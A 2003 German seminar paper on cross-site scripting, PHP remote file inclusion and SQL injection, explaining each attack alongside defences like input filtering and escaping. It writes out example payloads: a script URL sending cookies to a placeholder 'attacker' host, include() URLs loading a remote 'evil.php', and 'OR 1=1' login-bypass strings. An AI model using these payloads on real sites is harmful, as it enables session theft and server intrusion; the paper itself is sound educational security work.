Konstruktion sicherer Anwendungssoftware

“Cross Site Scripting (XSS)”

Stephan Uhlmann <su@su2.info>

31.08.2003

Inhaltsverzeichnis

1 Einführung **3**

2 Arten von XSS **3**

3 Geschichte **3**

4 XSS im Detail **4**

4.1 Einbettung von schädlichen Programmcode in Webseiten 4

4.1.1 Beispiele 5

4.2 Ausführen von fremden Skripten 5

4.2.1 Beispiele 6

4.3 SQL-Injection 7

4.3.1 Beispiele 7

1 Einführung

Beim Cross Site Scripting geht es allgemein um die Manipulation der Benutzereingaben, die an eine Web-Anwendung übergeben werden können. Durch Ausnutzung von Sicherheitslücken in der Anwendung kann ein Angreifer dadurch dann unter anderem schädlichen Programmcode in eine für den Benutzer normalerweise korrekte Umgebung einbetten. Oder er versucht eine gewisse Kontrolle über die Ausführung der Web-Anwendung zu erlangen, was er zu seinen Zwecken ausnutzen will. Ziel ist meist das Ausspähen und die Manipulation von Benutzerdaten, wie z.B. Passwörtern oder einfach das Ausführen von beliebigen Programmcode.

Cross Site Scripting wurde eine Zeit lang auch mit CSS abgekürzt, was jedoch zu einer Begriffsverwirrung mit den Cascading Style Sheets führte. Daher bürgerte sich die Abkürzung XSS ein, die ich im folgenden auch verwenden werde.

Als allgemeinen Lesestoff zu diesem Thema empfehle ich die Literatur, auf die im Anhang verwiesen wird.[1, 2, 3, 4]

2 Arten von XSS

Da es bisher keine standardisierte Definition gibt, findet man zum Teil unterschiedliche Ansätze, was nun genau alles unter den Begriff Cross Site Scripting fällt. Gemeinsam ist jedoch immer das Angriffsszenario, bei dem versucht wird, schädlichen Programmcode in eine Web-Anwendung einzubetten, der dann auf der Client-Seite ausgeführt wird.

Verwandte Szenarien versuchen den Programmablauf auf der Server-Seite zu beeinflussen. Sicherheitslücken können z.B. ausgenutzt werden, um den Server zu veranlassen, fremden Programmcode zu laden und auszuführen. Benutzt die Web-Anwendung eine Datenbank, so kann durch Manipulation der SQL-Befehle versucht werden, Einträge in der Datenbank zu verändern oder Abfrageergebnisse zu fälschen.

Die beiden letzten (auf dem Server ablaufenden) Szenarien, werden nicht überall zum Cross Site Scripting dazugezählt. Da sie dem Standard-Szenario, aber sehr ähnlich sind, sollen sie im folgenden auch betrachtet werden.

3 Geschichte

Cross Site Scripting ist als besonders wahrgenommene Art von Sicherheitslücken relativ neu. Im Februar 2000 veröffentlichte das CERT Coordination Center, ein so genanntes Advisory zu diesem Thema. Dort schrieb man noch, dass zum Zeitpunkt der Veröffentlichung kein Angriff bekannt war, der so eine Sicherheitslücke ausgenutzt hätte. Mit der Zeit wuchs dann das Verständnis für die dahinterliegende Technik und die verschiedenen Angriffsszenarien. Man wurde sich langsam der Tragweite bewusst und begann in Anwendungen gezielt nach diesen Sicherheitslücken zu suchen.

Im Jahr 2002 stieg die Anzahl der gefundenen Sicherheitslücken rapide an. In der ICAT Datenbank des NIST[5], einem Archiv der “Common Vulnerabilities and Exposures” (CVE), Warnungen zu aktuellen Sicherheitslücken, wurden 1999 gerade mal 2, 2000 weitere 4, 2001 schon 25 und im Jahr 2002 ganze 99 dieser Sicherheitslücken verzeichnet. Der aktuelle Trend deutet nicht darauf hin, dass es dieses Jahr weniger werden.

4 XSS im Detail

4.1 Einbettung von schädlichen Programmcode in Webseiten

Web-Anwendungen sind häufig in Skriptsprachen wie PHP oder Perl programmiert, um dynamische Inhalte zu ermöglichen. Dabei werden die Benutzereingaben oft in den GET-Parametern der URL kodiert. Werden diese Parameter nun ohne eine vorherige Prüfung im Programm weiterverarbeitet, so kann man in diesen Parametern Programmcode unterbringen, der dann in der erzeugten Webseite auftaucht. Typischerweise nimmt man da JavaScript, da dies in den meisten Browsern aktiviert hat. Theoretisch könnte man auch Programmcode in anderen Programmiersprachen einschleusen, in den folgenden Beispielen beschränke ich mich jedoch auf JavaScript.

Wird nun der Inhalt einer Variable, die über einen GET-Parameter an das Skript übergeben wurde, ungefiltert ausgegeben, so landet der darin eingebettete JavaScript-Code in der Webseite und wird vom Browser ausgeführt. Da das lokal ausgeführte JavaScript Zugriff auf die vom Browser verwalteten Cookies hat, kann der Inhalt der Cookies ausgelesen werden und z.B. an eine andere Webseite geschickt werden. Viele Web-Anwendungen speichern ihre Authentifikationsdaten in solchen Cookies, so dass ein Angreifer sich damit Zugang zu einer fremden Identität erschleichen kann. Er muss sein Opfer nur dazu bringen, auf die speziell präparierte URL zu klicken. Diese URLs können aber auch in Image-Tags untergebracht werden, wo sie dann automatisch beim Laden der Webseite “ausgeführt” werden.

Häufige Angriffsziele dieser Art von XSS sind Foren, Gästebücher, Suchformulare, Webmailer und sogar dynamisch generierte Fehler-404-Seiten.

Geeignete Schutzmaßnahmen sind die Überprüfung sämtlicher Benutzereingaben. Dies schließt neben den HTTP GET- und POST-Variablen auch die Cookies ein, die ja auch vom Client an den Server übermittelt werden. Bei der Überprüfung sollten alle nicht akzeptablen Werte, die nicht innerhalb eines fest definierten Wertebereichs liegen, herausgefiltert werden. Sonderzeichen, die vom Browser besonders interpretiert werden (wie etwa die spitzen Klammern < und >), müssen vor der Ausgabe in ihre HTML-Entities konvertiert werden.

Diese Schutzmaßnahmen sind einfach zu implementieren. Da sie jedoch mit zeitlichem Aufwand verbunden sind und nichts zur Funktionalität der Anwendung beitragen, werden sie gerne vergessen, was nicht zuletzt auch Grund für die weite Verbreitung dieser Sicherheitslücken ist.

4.1.1 Beispiele

Wie sieht nun so ein Angriff genau aus? Angenommen eine Webseite bietet eine Suchfunktion an. Die Eingabe des Benutzers wird als Parameter einem PHP-Skript “search.php” übergeben. Das sieht dann z.B. so aus:

```
http://schmoop.com/search.php?string=Osterei
```

Neben der eigentlichen Ausgabe des Suchergebnisses, wird auch die Sucheingabe nochmal ausgeben. So in der Art

```
echo 'Ihre Suche nach $string ergab $numhits Treffer.'
```

Hier wird also der Parameter mit der Sucheingabe ohne Filterung ausgegeben. Diese Ausgabe landet in der HTML-Seite, die an den Browser zurückgeschickt wird. Nun verändern wir den Parameter in der URL und geben dort ein bisschen JavaScript-Code ein. Z.B. so:

```
http://schmoop.com/search.php?string=<script>alert('Woof!');</script>
```

Ergebnis ist, dass der Browser den JavaScript-Code ausführt und uns eine kleine Messagebox präsentiert. Das ist an sich noch nicht gefährlich, zeigt aber, dass der Angriff funktioniert. Doch wie oben beschrieben, kann man mit JavaScript Cookies auslesen, die für die Domain gesetzt sind. Den Inhalt der Cookies kann man dann wie folgt an eine andere Webseite senden:

```
http://schmoop.com/search.php?string=<script>document.location=
'http://attacker/dump.php?cookie='+document.cookie</script>
```

Der Browser wird hier auf eine andere URL zu einem Webserver des Angreifers umgelenkt. Dort liegt ein Skript “dump.php” , dem man nun den Wert des Cookies als Parameter übergibt. Das Skript kann die Variablen einfach ausgeben, protokollieren, an eine Email-Adresse verschicken oder alles zusammen. Da in Cookies oft so genannte Session-Variablen gespeichert werden, die auf Webseiten der Authentifizierung dienen, braucht man sich nun nur noch den Cookie selber zu setzen, um die Identität des Opfers zu übernehmen.

Im August 2002 hat Stefan Krecher solche Sicherheitslücken bei den Freemailern Yahoo und Freenet gefunden, worüber er auch in seinem Vortrag auf dem Chemnitzer LinuxTag 2003 erzählte[3]. Ein böswilliger Angreifer, hätte damit auf die Postfächer der Benutzer zugreifen können.

4.2 Ausführen von fremden Skripten

Die Skriptsprache PHP erlaubt mit dem include()-Befehl, ein Skript in ein anderes einzubinden. Dabei wird der Inhalt des zu ladenden Skriptes an die Stelle der include()-Anweisung gesetzt. Viele Programmierer sind sich jedoch nicht bewusst, dass es, je nach Konfiguration des Webservers, auch möglich ist, das Skript von einem externen Webserver zu laden. Dazu wird eine HTTP-Verbindung zum fremden Server aufgebaut und dann das Ergebnis der HTTP GET Anfrage eingefügt.

Ein Angreifer kann damit beliebigen Programmcode einschleusen, der dann auf dem Webserver ausgeführt wird. Dies geschieht mit den Zugriffsrechten des Webservers, was je nach Konfiguration ausreicht, um sich genauer auf dem Server umzusehen oder sich Zugang zum System zu verschaffen. Auch wenn die Zugriffsrechte eingeschränkt sind, kann dieser Zugang benutzt werden, um darauf aufbauende weitere Angriffe zu starten.

Auch vor dieser Art des Cross Site Scripting kann man sich durch eine genaue Überprüfung und Filterung von akzeptablen Werten in den Parametern schützen. In PHP kann man zusätzlich die Konfigurationsoption "register_globals" deaktivieren, was ein Überschreiben von Variablen verhindert. Schaltet man den "Safe-Mode" ein, ist es auch nicht mehr möglich, andere Skripte per include()-Anweisung von anderen Webservern zu laden.

4.2.1 Beispiele

Einige Webseiten benutzen ein Framework mit Templates, um die verschiedenen Inhalte, Navigation usw. einheitlich zu präsentieren. Dazu wird ein einzelnes Skript benutzt, dem der Name der Datei mit dem eigentlichen Inhalt als Parameter übergeben wird. Zum Beispiel so:

```
http://schmoop.com/index.php?file=start.html
```

Im Skript "index.php" wird nun der Parameter "file" ungeprüft übernommen.

```
include($file)
```

Wie oben beschrieben, können wir nun einfach eine Datei von einem anderen Webserver laden.

```
http://schmoop.com/index.php?file=http://attacker/evil.php
```

Das Skript "evil.php" kann beliebigen Code enthalten, der dann auf dem angegriffenen Webserver ausgeführt wird. So kann es z.B. auch system()-Befehle enthalten, die dann an das Betriebssystem weitergegeben werden.

Manchmal sind die manipulierbaren Parameter nicht so offensichtlich zu erkennen. Da jedoch oft der Quellcode der Software vorliegt, kann man gezielt auf die Suche zu gehen. So zum Beispiel nach Variablen, die in Konfigurationsdateien gesetzt werden. Angenommen eine Webseite lädt eine Datei plugin.php:

```
http://schmoop.com/index.php?file=plugin.php
```

Weiterhin angenommen ein Angriff direkt über den file-Parameter ist nicht möglich, doch das Skript plugin.php erwartet eine Variable $fnord, die im Skript "index.php" aus einer Konfigurationsdatei geladen wird. Ein Angreifer kann nun das Skript "plugin.php" direkt aufrufen und die Variable $fnord mit der URL unseres externen Webservers zu füttern:

```
http://schmoop.com/plugin.php?fnord=http://attacker/evil.php
```

Eine große Sicherheitslücke in PHP-Nuke, einem weit verbreiteten Content Management System, funktionierte genau auf diese Art und Weise.

4.3 SQL-Injection

Benutzt die Web-Anwendung eine Datenbank, so kann ein Angreifer durch geschickte Manipulation der Parameter SQL-Anweisungen verändern und damit die Ergebnisse für seine Zwecke beeinflussen. Grund ist, dass oft die Parameter Teil der SQL-Anweisung gemacht werden.

Schutzmaßnahmen sind auch hier wieder die Prüfung der Parameter auf unerwünschte Eingaben. Besondere Zeichen, wie Komma, Semikolon oder Anführungszeichen, müssen mit Escape-Sequenzen versehen werden ("quoting"). Weiterhin sollten interne, sicherheitskritische Daten nicht auf den gleichen Servern gespeichert werden, wo auch öffentliche Daten liegen, sondern auf getrennten und besonders gesicherten Servern.

4.3.1 Beispiele

Angenommen die Web-Anwendung ist ein Frontend für eine Benutzerdatenbank. Eine Suchanfrage dieser Art

```
http://schmoop.com/search.php?name=Skywalker
```

würde dann in eine SQL-Anweisung wie diese übergehen:

```
SELECT * FROM users WHERE name='$name'
```

Durch eine Manipulation dieser Art:

```
http://schmoop.com/search.php?name=egal'%20OR%201=1
```
(Die Leerzeichen sind hier durch den Hex-Wert %20 kodiert, damit die URL funktioniert.)

entsteht dann eine solche SQL-Anfrage:

```
SELECT * FROM users WHERE name='egal' OR 1=1
```

Der Name als Suchkriterium ist damit hinfällig und es werden alle Benutzer ausgegeben, da `OR 1=1` die Bedingung immer erfüllt.

Interessant wird das bei Passwortabfragen. Man stelle sich folgende manipulierte SQL-Anweisung vor:

```
SELECT COUNT(*) FROM users WHERE name='Skywalker' AND password='Luke'
OR 1=1
```

Access granted!

Literatur

[1] CERT Advisory CA-2000-02: “Malicious HTML Tags Embedded in Client Web Requests”
http://www.cert.org/advisories/CA-2000-02.html

[2] “The Cross Site Scripting FAQ”
http://www.cgisecurity.com/articles/xss-faq.shtml

[3] Stefan Krecher, “XSS for fun and profit”, Chemnitzer LinuxTag 2003
http://www.tu-chemnitz.de/linux/tag/lt5/vortraege/detail.html?index=70

[4] “Understanding Malicious Content Mitigation for Web Developers”
http://www.cert.org/tech_tips/malicious_code_mitigation.html

[5] NIST: ICAT Metabase (CVE Datenbank)
http://icat.nist.gov/